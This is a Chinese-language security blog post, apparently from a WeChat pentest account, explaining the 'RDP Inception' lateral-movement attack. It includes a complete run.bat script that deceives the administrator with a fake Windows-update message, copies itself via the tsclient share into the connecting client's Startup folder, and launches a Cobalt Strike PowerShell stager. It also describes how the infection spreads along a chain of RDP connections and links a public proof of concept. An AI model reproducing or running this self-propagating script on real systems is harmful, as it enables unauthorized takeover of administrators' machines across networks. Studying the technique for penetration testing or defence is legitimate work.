点击上方“蓝字”,关注更多精彩
0x00 前言
五一前工作中碰到了一个词叫做信任源攻击。这个词本身就很泛泛,并不像一些常见的安全问题具有针对性。
可能是用户对耳熟能详的网络设备、软件很是信任,例如百度、VX、某宝某东的信任等等。这些软件已经进入我们生活很久了,我们就会莫名地相信它。而假设这些存在一些安全问题,我们的数据就不安全了。说到底,网络安全的根源,还是信任问题。如果我们都无条件地相互信任对方,信任用户不会传输恶意数据到服务端,那么安全问题就不复存在。正是因为现在很多用户是恶意的,才会让服务端的设置遵循一个“无条件不信任”原则,即永远不相信用户的输入来部署。
那么今天介绍一种内网攻击方式——RDP反向污染(RDP Inception),基于的正是设备管理员对3389RDP服务的信任。
相信大家对RDP耳熟能详,就是windows远程桌面服务的简称(Remote Desktop Protocol)。这个服务的初衷就是为了方便设备管理员来远程操控服务器而建立的,对应的windows端口为大名鼎鼎的3389,深受我们的青睐。与它相关的漏洞一直是探讨的热门,具体可看此篇文章:
但是今天提到的RDP Inception攻击,不是漏洞,而是基于文件传输。
0x01 思路铺垫与场景搭建
1、设备管理员张三通过本地win10远程连接了公司的win2008进行运维,为了传输文件的方便,开启了本地设备的资源共享。
2、链接后,可以在win2008机器上面看到自己本地win10的文件
同时可在这里看到链接的机器,名字是统一的tsclient来表示连接方。
点开后文件夹的名字看着很熟悉吧,很像文件共享服务的形式。那么我们就可以在命令行任意位置,来查看或者传输文件。
这种访问方式类似于使用 SMB 进行文件传输,虽然本质上都是 SMB 协议,但是使用 tsclient 无需进行身份认证。
dir \tsclientC #查看远程连接客户端的C盘文件和目录
copy 1.txt \tsclientC #将文件传输到客户端
3、那么此时,一黑客通过某种方式将win08上线成功,发现了这台win08是背后有人通过win10远程连接来管理的,那么有无什么办法将win10自动上线呢?
0x02 场景复现
1、思路很简单,在远程主机的启动项中写入一个 run.bat 脚本。当一个客户端用户(win10)通过远程桌面连接到这个远程主机(win08)时,在登陆之后就会立即执行这个启动项中的 run.bat 脚本。
C:ProgramDataMicrosoftWindowsStart MenuProgramsStartup
2、这个run.bat
有什么功能呢?
run.bat
脚本执行后会先去遍历tsclient
共享,发现存在tsclient
共享后,就会将自己复制到tsclient
的启动项中,也就是执行了下面这个命令
copy "C:ProgramDataMicrosoftWindowsStart MenuProgramsStartup" "\tsclientCProgramDataMicrosoftWindowsStart MenuProgramsStartUp"
随后执行一个Powershell上线命令,我们可以利用CS来生成。
3、综合一下,run.bat
内容如下:
# 关闭输出,仅仅提示更新windows用来混淆管理员
@echo off
echo Updating Windows ...
echo 正在更新Windows系统,请勿关闭 ...
# 关闭echo响应功能
@echo off
# 设置一个短时计数器,以确保tsclient进程被完全遍历和查找出来
timeout 1 >nul 2>&1
# 如果当前远程主机上可以访问到tsclient, 则可以成功将run.bat通过tsclient复制到客户端主机上
copy "C:ProgramDataMicrosoftWindowsStart MenuProgramsStartUprun.bat" "\tsclientCProgramDataMicrosoftWindowsStart MenuProgramsStartUp"
# 最后执行 Cobalt Strike 生成的 PowerShell Stager
powershell -nop ....(将cs生成的payload复制到这里即可)
4、此时当win10再次连接win08时,就会看到win10本地出现了这个bat文件。
5、当win10再次登录电脑的时候,就会被黑客上线。那么此时黑客就通过RDP反向攻击了客户端,直接进入更深一层网络进行内网渗透。
0x03 建立传染链路
那么上面的实验的拓扑就是下图
那么此时,网络管理员不在公司了,他打算回家了。于是又用家里的电脑win7远程控制这个win10,然后再用win10去远程连接win08。
想一下,我们还需要改写run.bat
么?不需要,因为win10已经被污染了,那么再次使用win7远程链接win10,里面的客户端都是\tsclient
,自启动项都是同样的路径,powershell上面的payload也可以在win7中适用。所以我们来尝试一下。win7远程连接win10,开启文件传输功能。当管理员重启或者注销重新登录自己的 Windows 7 后,为于 Windows 7 启动项中的 run.bat 便会执行,Windows 7 便会上线。
那么基于这个利用链,ActiveBreach 团队的 Vincent Yiu大神根据这种攻击思路开发了一个概念性验证 PoC 脚本创造了一个bat脚本,还有对应的CS插件。具体大家可以到Github上查看一下
https://github.com/mdsecactivebreach/RDPInception
0x04 思路扩展
明白了上面的原理,这里提供几个思路:
1、在渗透测试中,如果我们获得某台服务器 C 的控制权,而最终目标是 PC X,但由于对方高度安全的网络环境限制,我们只有采取 RDP 反向攻击的方式,通过对接入 C 的服务器 B 进行攻击控制,之后,对接入 B 的服务器 A 进行攻击控制,最终,对接入 A 的 PC X 形成攻击控制。
2、在这整条攻击链路中,攻击者可以在任意计算机设备中发起 RDPInception 攻击。按照 RDPInception 的攻击理论,只要管理员以 RDP 远程桌面的方式登录到这条路径中的任何一台设备,攻击者就可以循环反复获取到所有设备的控制权。而攻击者唯一要做的就是在其中一台设备上发起 RDPInception 攻击,然后,只需静静等待管理员发起 RDP 远程桌面连接请求,其余的后续攻击便可由程序自动完成了。无需蹲点守候持续监控,只需对入侵服务器部署好攻击向量,姜太公钓鱼,自会让那些愿者陆续上钩。这种攻击技术无需用户凭证或其它漏洞利用,可在端口和应用等其它接入条件高度受限的网络环境下的横向渗透测试中,当其它横向渗透技术或提权操作被用完用尽,陷入“黔驴技穷”和一筹莫展状况时,可考虑使用此招。
3、用来溯源黑客。如果黑客使用公网的windows作为攻击机,并通过3389连接的攻击机,我们可以利用这个思路来溯源黑客。
往期推荐
CVE-2021-4034 Linux Polkit本地提权漏洞
CVE-2021-31760 Webmin CSRF致使RCE
CVE-2022-22965 Spring core RCE漏洞
CVE-2020-1472 ZeroLogon漏洞复现利用(Netlogon域提权)
郑重声明:该公众号大部分文章来自作者日常工作与学习笔记,也有少数文章是经过原作者授权转载而来,未经授权,严禁转载。如需要,请公众号私信联系作者。
请勿利用文章内的相关技术从事非法测试,如因此产生的一切不良后果与原作者以及本公众号无关。
原文始发于微信公众号(HACK技术沉淀营):内网渗透 | RDP反向污染(Inception)攻击
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论